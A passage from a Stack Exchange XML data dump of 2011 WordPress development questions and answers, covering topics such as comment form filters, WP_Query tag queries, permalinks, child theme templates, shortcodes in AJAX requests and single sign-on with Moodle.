while&#xA;  new visitors will continue seeing it&#xA;  until they subscribe.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which in short means, just set a cookie name in the plugin admin panel and you are set.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-29T10:55:24.157" CommentCount="6" />
  <row Id="21439" PostTypeId="2" ParentId="21436" CreationDate="2011-06-29T11:00:21.143" Score="2" ViewCount="" Body="&lt;p&gt;What you need to use is &lt;code&gt;comment_form_defaults&lt;/code&gt; filter that has large and nested &lt;code&gt;$defaults&lt;/code&gt; array passed. That array  will have (among other things) something like this in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fields&#xA;      author &amp;lt;&amp;lt; this will have something like &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt; in it&#xA;      email &amp;lt;&amp;lt; this will have something like &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt; in it&#xA;      url &#xA; comment_notes_before &amp;lt;&amp;lt; this will have something like Required fields are marked&amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt; in it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in your filter you need to change these fields in array you got passed and return whole array.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-29T11:00:21.143" />
  <row Id="21442" PostTypeId="2" ParentId="21436" CreationDate="2011-06-29T11:20:54.930" Score="2" ViewCount="" Body="&lt;p&gt;Here is an example of how you can modify the notes before the comment form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse_comment_notes( $args ) {&#xA;    $args['comment_notes_before'] = &quot;All fields are required, though I haven't marked them&quot;;&#xA;    return $args;&#xA;}&#xA;add_filter('comment_form_defaults', 'wpse_comment_notes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-29T11:20:54.930" />
  <row Id="21445" PostTypeId="2" ParentId="21427" CreationDate="2011-06-29T12:00:22.297" Score="1" ViewCount="" Body="&lt;p&gt;Your &lt;code&gt;meta_query&lt;/code&gt; needs to be a &lt;em&gt;nested&lt;/em&gt; array, like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'posts_per_page' =&amp;gt; '5',&#xA;    'cat' =&amp;gt; '3',&#xA;    'orderby' =&amp;gt; 'rand',&#xA;    'meta_query' =&amp;gt; array(&#xA;&#xA;        array(&#xA;            'key' =&amp;gt; 'Featured List',&#xA;            'value' =&amp;gt; 'Yes'        &#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get the feeling you don't actually need a &lt;code&gt;LIKE&lt;/code&gt; match - this'll perform a loose comparison, and isn't as efficient as an exact match.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-29T12:00:22.297" />
  <row Id="21446" PostTypeId="1" AcceptedAnswerId="21447" CreationDate="2011-06-29T12:11:06.397" Score="0" ViewCount="83" Body="&lt;p&gt;I need to find only posts with a tag &lt;code&gt;forest gump&lt;/code&gt;. I've tried: &lt;code&gt;new WP_Query('tag=forest+gump');&lt;/code&gt;, &lt;code&gt;new WP_Query('tag=forest gump');&lt;/code&gt;. However they both return ALL the posts and not only the posts with &lt;code&gt;forest gump&lt;/code&gt; tag. Single tags (without spaces) work fine, though. Alternatives (like plain SQL) will work as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry tag line is &lt;code&gt;forest gump, forrest gump, questend&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6600" LastActivityDate="2011-06-29T12:17:25.397" Title="tag search using WP_Query" Tags="&lt;php&gt;&lt;tags&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="21447" PostTypeId="2" ParentId="21446" CreationDate="2011-06-29T12:17:25.397" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;new WP_Query(array('tag_slug__in' =&amp;gt; array('forrest-gump', 'forest-gump', 'questend')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;new WP_Query('tag=forrest+gump,forest+gump,questend');&lt;/code&gt; should work too...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-29T12:17:25.397" CommentCount="3" />
  <row Id="21449" PostTypeId="2" ParentId="21418" CreationDate="2011-06-29T13:11:48.797" Score="0" ViewCount="" Body="&lt;p&gt;You need to call your function at a point in the WordPress process &lt;em&gt;after the Query is set up&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_get_banner_img() {&#xA;    if ( is_page( '2533' ) ) {    &#xA;        // also tested with 'Apple'&#xA;        $bannerimg = 'apple.jpg';&#xA;&#xA;    } elseif ( is_page( 'test' ) ) {    &#xA;        $bannerimg = 'test.jpg';&#xA;&#xA;    } elseif ( is_page( 'admissions' ) ) { &#xA;        $bannerimg = 'admissions.jpg';&#xA;&#xA;    } else { &#xA;        $bannerimg = 'home.jpg';&#xA;    }  &#xA;    return $bannerimg;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your &lt;code&gt;page.php&lt;/code&gt; template file, wherever you need to return/output &lt;code&gt;$bannerimg&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$bannerimg = mytheme_get_banner_img();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you can do whatever you need to with &lt;code&gt;$bannerimg&lt;/code&gt;: drop it in an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag, etc.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-29T13:11:48.797" />
  <row Id="21450" PostTypeId="1" CreationDate="2011-06-29T13:14:34.233" Score="0" ViewCount="47" Body="&lt;p&gt;Is there a way i can get the_permalink as a variable? I need to build an info window with it but it wont appear in the $infoWindow variable...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;    $link = the_permalink($post-&amp;gt;ID); // prints out into html&#xA;    $infoWindow = '&amp;lt;div&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;'.$link.'&quot;&amp;gt;'.$post-&amp;gt;post_title.'&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;';&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    marker = [&amp;lt;?=$v_latitude?&amp;gt;, &amp;lt;?=$v_longitude?&amp;gt;,&quot;&quot;,'&amp;lt;?=$infoWindow?&amp;gt;'];&#xA;    locations.push(marker);&#xA;&amp;lt;/script&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;best, Dc&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-06-29T13:16:08.047" Title="stop the_permalink printing and save as variable?" Tags="&lt;permalinks&gt;&lt;variables&gt;" AnswerCount="1" />
  <row Id="21451" PostTypeId="2" ParentId="21450" CreationDate="2011-06-29T13:16:08.047" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;get_permalink()&lt;/code&gt; instead. (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_permalink&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per the WordPress function-naming convention, most functions have two forms: &lt;code&gt;the_*()&lt;/code&gt; and &lt;code&gt;get_*()&lt;/code&gt;; the &lt;code&gt;the_*()&lt;/code&gt; functions will &lt;em&gt;print&lt;/em&gt; the output, and the &lt;code&gt;get_*()&lt;/code&gt; functions will &lt;em&gt;return&lt;/em&gt; the output.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-29T13:16:08.047" CommentCount="1" />
  <row Id="21452" PostTypeId="1" AcceptedAnswerId="21453" CreationDate="2011-06-29T13:19:49.183" Score="2" ViewCount="42" Body="&lt;p&gt;I was wondering if anyone can help me out. I am looking to remove the_content part of the loop on &lt;strong&gt;my author pages only&lt;/strong&gt;.  So basically, I just want a list of the author posts with only the title and meta instead of the full post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I went to the author.php file, I found this, which I believe is the code that is generating the posts on the Author Pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Run the loop for the author archive page to output the authors posts&#xA; * If you want to overload this in a child theme then include a file&#xA; * called loop-author.php and that will be used instead.&#xA; */&#xA;     get_template_part( 'loop', 'author' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty new at this, so please bare with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how I do I remove the content from the loop for only the Author pages.  I wouldn't think that I should remove the function that generates the content from the loop.php file because that would remove it from all posts on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comments above say, If I want to overload this in a child theme, the include a file called loop-author.php.  Can I simply copy all the code from the loop.php file into a new loop-author file, remove the function that generates content from there?  Would i have to change any of the parameters in the get_template_part() function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, really new at doing this, so any advice would be greatly appreciated.&#xA;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="6559" LastEditorUserId="6559" LastEditorDisplayName="" LastEditDate="2011-06-29T13:28:01.880" LastActivityDate="2011-06-29T13:28:01.880" Title="Editing the loop for Author pages" Tags="&lt;loop&gt;&lt;author&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="21453" PostTypeId="2" ParentId="21452" CreationDate="2011-06-29T13:27:34.547" Score="1" ViewCount="" Body="&lt;p&gt;If your Parent Theme, has a template file &lt;code&gt;loop-author.php&lt;/code&gt;, copy it to your Child Theme; otherwise, copy your Parent Theme's &lt;code&gt;loop.php&lt;/code&gt; template file to your Child Theme, and rename it as &lt;code&gt;loop-author.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, modify your Child Theme's &lt;code&gt;loop-author.php&lt;/code&gt; template file, in whatever way you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to make &lt;em&gt;any other changes&lt;/em&gt;, either to the Parent Theme or to your Child Theme. The Parent Theme already accounts for a Child Theme's use of &lt;code&gt;loop-author.php&lt;/code&gt;, based on its call to &lt;code&gt;get_template_part( 'loop', 'author' );&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way such a call works is this: WordPress will look for files in the following order, until it finds one that exists:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Child Theme &lt;code&gt;loop-author.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Parent Theme &lt;code&gt;loop-author.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Child Theme &lt;code&gt;loop.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Parent Theme &lt;code&gt;loop.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thus, you see the power and flexibility of &lt;code&gt;get_template_part()&lt;/code&gt;!&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-29T13:27:34.547" CommentCount="1" />
  <row Id="21454" PostTypeId="1" CreationDate="2011-06-29T13:29:11.913" Score="1" ViewCount="95" Body="&lt;p&gt;Since WPML is not free anymore and still one of the most used Wordpress Translation Plugins, is there an open source project that keeps development going? Or something similar that replaces it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are other alternatives out there, but most have different approaches or features. I for example like the fact, that every translation is in it's own post.&lt;/p&gt;&#xA;" OwnerUserId="1021" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-29T13:30:14.283" LastActivityDate="2011-06-29T13:49:24.420" Title="Open Source replacement for WPML?" Tags="&lt;plugin-recommendation&gt;&lt;translation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="21455" PostTypeId="2" ParentId="21454" CreationDate="2011-06-29T13:43:30.340" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qtranslate&lt;/a&gt;...I use it religiously. Has some issues like with dates and times, but I always find a solution.&lt;/p&gt;&#xA;" OwnerUserId="6603" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-29T13:49:24.420" LastActivityDate="2011-06-29T13:49:24.420" CommentCount="1" />
  <row Id="21456" PostTypeId="1" CreationDate="2011-06-29T13:54:01.750" Score="0" ViewCount="38" Body="&lt;p&gt;I am building a Night-Shelter/Hostel website. It does NOT need to accept payments as the service is free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website will be used to display information to the public but also needs a system where officers and staff can login. They will be logging in to do 3 things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;strong&gt;Booking&lt;/strong&gt; (calender) Someone in to the hostel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;strong&gt;Checking-Availability&lt;/strong&gt; (database) &amp;amp; Doing searches and identifying specific hostelers (filter)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;strong&gt;Daily-Attendance-Register&lt;/strong&gt; of hostelers checking in each day (I don't have a solution for this at all - open to suggestions!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I require a booking system with database &amp;amp; filter functionality along with a means to do a daily register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing I have seen so far is Booking Calender Pro &amp;amp; Booking Manager Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the filters on the booking manager are not what Staff will be searching for, they will be searching for attributes within the booking form. The booking form consists of about 44 fields because it has an attached hosteler assessment form which makes the display and formatting all squashed and badly formatted. as you can see here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ordersplugin.onlinebookingcalendar.com/wp-admin/admin.php?page=booking-manager/wpdev-crm.phpwpdev-crm&quot; rel=&quot;nofollow&quot;&gt;http://ordersplugin.onlinebookingcalendar.com/wp-admin/admin.php?page=booking-manager/wpdev-crm.phpwpdev-crm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen a plugin or solution? Any help or guidance would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards - NUMAN&lt;/p&gt;&#xA;" OwnerUserId="6602" LastActivityDate="2011-06-29T13:54:01.750" Title="Booking Plugin with Database and filter functionality for back-end &amp; Daily Attendance Register (back end)" Tags="&lt;plugins&gt;&lt;database&gt;&lt;registration&gt;&lt;calendar&gt;&lt;register&gt;" FavoriteCount="1" />
  <row Id="21457" PostTypeId="1" AcceptedAnswerId="21460" CreationDate="2011-06-29T14:05:28.633" Score="0" ViewCount="103" Body="&lt;p&gt;Is there an straight-forward example anywhere of using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_post&quot; rel=&quot;nofollow&quot;&gt;wp_update_post()&lt;/a&gt; to edit post_meta on the front end? I have not been able to find any good learning resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is display post meta in an input field and when a user clicks &lt;em&gt;submit&lt;/em&gt; trigger &lt;code&gt;wp_update_post();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/uR70A.png&quot; alt=&quot;post meta in input field with save button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-07-07T01:22:41.330" LastActivityDate="2011-07-07T01:22:41.330" Title="What action hook updates post meta?" Tags="&lt;update-post-meta&gt;&lt;wp-update-post&gt;" AnswerCount="1" />
  <row Id="21458" PostTypeId="1" AcceptedAnswerId="21479" CreationDate="2011-06-29T14:13:39.970" Score="0" ViewCount="37" Body="&lt;p&gt;I have a sql database of historical events, I would like it to post data into the sidebar area of a wordpress site. As I am very new to it I do not have any idea how to proceed. I would be thankful if anyone could help me out. &#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2011-06-29T17:01:36.200" Title="How to send data to sidebar?" Tags="&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="21459" PostTypeId="1" AcceptedAnswerId="21528" CreationDate="2011-06-29T14:20:58.960" Score="0" ViewCount="89" Body="&lt;p&gt;could you figure out why I'm unable to get shortcode filters applied in ajax inclusion of posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me explain better: I've managed to include a post from within another post, through &lt;strong&gt;admin-ajax.php&lt;/strong&gt;, as recommended in the famous &lt;a href=&quot;http://www.garyc40.com/2010/03/5-tips-for-using-ajax-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;5 tips&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I don't want to display the shortcode tags, nor I'd like to strip them, so I'm echoing &lt;code&gt;do_shortcode($post-&amp;gt;post_content)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, the post gallery gets rendered but &lt;em&gt;unfiltered&lt;/em&gt;, even though I'm running the &quot;Cleaner Gallery&quot; plugin, which starts with &lt;code&gt;add_filter( 'post_gallery', 'cleaner_gallery', 10, 2 );&lt;/code&gt; and succesfully works in normal (non-ajax) posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to debug this issue by replacing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = apply_filters('post_gallery', '', $attr);&#xA;    if ( $output != '' )&#xA;        return $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = apply_filters('post_gallery', '', $attr);&#xA;echo 'FILTERED OUTPUT = '.$output.' !';&#xA;    if ( $output != '' )&#xA;        return $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the &lt;strong&gt;function gallery_shortcode($attr)&lt;/strong&gt; located in &lt;em&gt;wp-includes/media.php&lt;/em&gt;.&#xA;It seems that it runs twice, but in ajax inclusions the output is empty at first time and then it's not filtered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, in all effect it happens that also the &quot;2nd round&quot; echoed output I mentioned remains empty when setting again &lt;strong&gt;add_filter&lt;/strong&gt; before &lt;strong&gt;do_shortcode&lt;/strong&gt;; otherwise it's shown (but, as I said, unfiltered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried to track it with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo has_filter('post_gallery');&#xA;echo current_filter();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I've discovered that &lt;strong&gt;&lt;em&gt;has&lt;/em&gt;&lt;/strong&gt; returns always &lt;strong&gt;&lt;em&gt;1&lt;/em&gt;&lt;/strong&gt;, while &lt;strong&gt;&lt;em&gt;current&lt;/em&gt;&lt;/strong&gt; first returns '&lt;strong&gt;&lt;em&gt;post-gallery&lt;/em&gt;&lt;/strong&gt;' as expected, and then it gets overwritten by the '&lt;strong&gt;*wp_ajax_nopriv_etc*&lt;/strong&gt;' hook, which is required to handle requests with &lt;em&gt;admin-ajax.php&lt;/em&gt; but it's actually an &lt;strong&gt;action&lt;/strong&gt; and &lt;strong&gt;not&lt;/strong&gt; a &lt;strong&gt;filter&lt;/strong&gt;. (?!?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried without success to hack the cleaner gallery plugin, in order to make it directly run the shortcode without filtering the default function, removed the originary shortcode and added that new one.&#xA;It works like a charm for normal posts, but it seems there is no way to implement the plugin in ajax requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting more and more confused.&#xA;Please help me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(also posted on the &lt;a href=&quot;http://wordpress.org/support/topic/shortcodes-filters-and-ajax&quot; rel=&quot;nofollow&quot;&gt;WP.org forums&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="6606" LastActivityDate="2011-06-29T22:53:57.823" Title="Ajax, filters and shortcodes" Tags="&lt;filters&gt;&lt;shortcode&gt;&lt;ajax&gt;&lt;gallery&gt;" AnswerCount="2" />
  <row Id="21460" PostTypeId="2" ParentId="21457" CreationDate="2011-06-29T14:24:17.497" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_update_post&lt;/code&gt; isn't used for updating custom fields (ie postmeta content) - you should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_post_meta&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-06-29T14:34:36.957" LastActivityDate="2011-06-29T14:34:36.957" CommentCount="3" />
  <row Id="21461" PostTypeId="2" ParentId="21459" CreationDate="2011-06-29T14:41:29.597" Score="1" ViewCount="" Body="&lt;p&gt;When WordPress displays post content, it's not running &lt;code&gt;do_shortcode()&lt;/code&gt; on the post content, it's running &lt;code&gt;apply_filters( 'the_content', $content )&lt;/code&gt;.  Shortcode filters are applied on &lt;code&gt;the_content&lt;/code&gt; filter, which is why you have to add extra filters to get them to work in widgets or the footer or elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-29T14:41:29.597" CommentCount="3" />
  <row Id="21462" PostTypeId="1" CreationDate="2011-06-29T14:52:28.770" Score="1" ViewCount="37" Body="&lt;p&gt;Where's the problem with my gettext? It returns error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function form($instance)&#xA;    {&#xA;        global $wpdb;&#xA;&#xA;        $defaults = array(&#xA;            'title' =&amp;gt; __('Upcoming shows','gigpress'), &#xA;            'limit' =&amp;gt; 5,&#xA;            'scope' =&amp;gt; 'upcoming',&#xA;            'show_tours' =&amp;gt; 'no',&#xA;            'group_artists' =&amp;gt; 'no',&#xA;            'artist_order' =&amp;gt; 'alphabetical', &#xA;            'artist' =&amp;gt; '', &#xA;            'tour' =&amp;gt; '', &#xA;            'venue' =&amp;gt; '', &#xA;            'show_feeds' =&amp;gt; 'no', &#xA;            'link_text' =&amp;gt; ''&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Initialise options with default values&#xA;        $blogname = get_option('blogname');&#xA;        add_option__('wpsb_widget_title', 'Choose a title for the widget');&#xA;        add_option('wpsb_email_from', get_option('admin_email') );&#xA;        add_option('wpsb_email_subject', &quot;[$blogname] Mailing list subscription&quot;);&#xA;        add_option__('wpsb_email_message', &quot;This is an automatic response to a subscription request started at $blogname.\nThanks for subscribing.\n\n#link#&quot;);&#xA;        add_option('wpsb_double_optin', &quot;1&quot;);&#xA;        add_option('wpsb_link_love', &quot;1&quot;);&#xA;        add_option('wpsb_auto_delete', &quot;0&quot;);&#xA;&#xA;        add_option('wpsb_msg_bad', &quot;&amp;lt;p&amp;gt;Bad e-mail address.&amp;lt;/p&amp;gt;&quot;);&#xA;        add_option('wpsb_msg_dbl', &quot;&amp;lt;p&amp;gt;E-mail address already subscribed.&amp;lt;/p&amp;gt;&quot;);&#xA;        add_option('wpsb_msg_fail', &quot;&amp;lt;p&amp;gt;Failed sending to e-mail address.&amp;lt;/p&amp;gt;&quot;);&#xA;        add_option__('wpsb_msg_sent', &quot;&amp;lt;p&amp;gt;Thanks for subscribing.&amp;lt;/p&amp;gt;&quot;);&#xA;        add_option('wpsb_dbl_fail', &quot;&amp;lt;p&amp;gt;E-mail address not found or already confirmed.&amp;lt;/p&amp;gt;&quot;);&#xA;        add_option__('wpsb_dbl_sent', &quot;&amp;lt;p&amp;gt;Subscription confirmed. Thank you.&amp;lt;/p&amp;gt;&quot;);&#xA;&#xA;        add_option('wpsb_form_header', &quot;&amp;lt;a name=\&quot;wpsbw\&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;div class=\&quot;widget module\&quot;&amp;gt;You may want to put some text here&quot;);&#xA;        add_option('wpsb_form_footer', &quot;&amp;lt;/div&amp;gt;&quot;);&#xA;        add_option__('wpsb_form_email', &quot;E-mail:&quot;);&#xA;        //add_option('wpsb_form_fields', &quot;&quot;);&#xA;        add_option__('wpsb_form_fields', array(&quot;wpsb_radio_in&quot;=&amp;gt;&quot;Subscribe&quot;,&quot;wpsb_radio_out&quot;=&amp;gt;&quot;Unsubscribe&quot;));&#xA;        add_option__('wpsb_form_send', &quot;Submit&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gracias, xiexie...&lt;/p&gt;&#xA;" OwnerUserId="6436" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-06-29T15:05:08.817" LastActivityDate="2011-06-29T15:36:33.690" Title="What's wrong with my gettext?" Tags="&lt;code&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21463" PostTypeId="1" CreationDate="2011-06-29T15:14:57.017" Score="0" ViewCount="104" Body="&lt;p&gt;I would like to know if it is possible to integrate Wordpress and the Moodle LMS application? I would like the users to only sign in once to access both applications. I was hoping it will be possible to edit both application login processes to add whatever code is needed for both applications to create a cookie etc...&#xA;I'm already using one Database for authentication for both applications but this will just make it easier for the users. I'm not expecting a solution but just some advice from anyone if they think it will be possible.&lt;/p&gt;&#xA;" OwnerUserId="6607" LastActivityDate="2011-08-29T07:36:25.603" Title="Integrate Wordpress Blog with Moodle LMS" Tags="&lt;login&gt;" AnswerCount="1" />
  <row Id="21464" PostTypeId="1" CreationDate="2011-06-29T15:18:47.760" Score="0" ViewCount="22" Body="&lt;p&gt;I have installed wordpress in directory above the root called &quot;wp&quot;. I'm having issues with the google xml sitemap generator. I cannot rebuild the xml code and write it the sitemap.xml file. I have been on the phone with my hosting company and they assure me the file does have full control for its file permissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any advice for this?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-06-29T15:18:47.760" Title="google xml sitemap won't work on directory install" Tags="&lt;directory&gt;&lt;install&gt;&lt;google-xml-sitemaps&gt;" CommentCount="1" />
  <row Id="21465" PostTypeId="2" ParentId="21463" CreationDate="2011-06-29T15:28:50.607" Score="0" ViewCount="" Body="&lt;p&gt;It's definitely possible - I recently wrote a SSO plugin to allow users to be logged automatically into WP from a foreign system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sketched out my approach in this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8887/sso-authentication-integration-with-external-directory-service&quot;&gt;SSO / authentication integration with external &amp;#39;directory service&amp;#39;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-29T15:28:50.607" CommentCount="1" />
  <row Id="21467" PostTypeId="2" ParentId="21462" CreationDate="2011-06-29T15:36:33.690" Score="-1" ViewCount="" Body="&lt;p&gt;The second part (with the wpsb) should all be turned around: first you get the text, then the textdomain, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_option__('Choose a title for the widget', 'wpsb_widget_title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First part I am not sure yet...&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-29T15:36:33.690" />
  <row Id="21469" PostTypeId="1" CreationDate="2011-06-29T15:01:14.307" Score="0" ViewCount="41" Body="&lt;p&gt;I want to install a code highlighting plugin for my WordPress, I have no experinse with WordPress plugins before, so can you recommend for me one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am writing most of the time these languages and hope the plugin style them all well: C#, VB.Net, JavaScript, HTML, CSS&lt;/p&gt;&#xA;" LastActivityDate="2011-06-29T16:34:49.667" Title="Code highlight WordPress plugin?" Tags="&lt;plugins&gt;&lt;syntax-highlighting&gt;" AnswerCount="2" />
  <row Id="21470" PostTypeId="1" CreationDate="2011-06-29T15:54:51.243" Score="0" ViewCount="112" Body="&lt;p&gt;In the multi-site wordpress install, you get a very nice &quot;upload settings&quot; in the network admin settings. (see attached image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to change these settings without using php.ini for a single-site wordpress install and I can't find them anywhere...  help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached: Network Admin Settings Example: &lt;img src=&quot;http://i.stack.imgur.com/45DzX.png&quot; alt=&quot;Network admin example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5861" LastEditorUserId="5861" LastEditorDisplayName="" LastEditDate="2011-06-30T03:55:27.183" LastActivityDate="2011-08-30T22:37:07.987" Title="How do I change the upload file size limit in single-site wordpress install?" 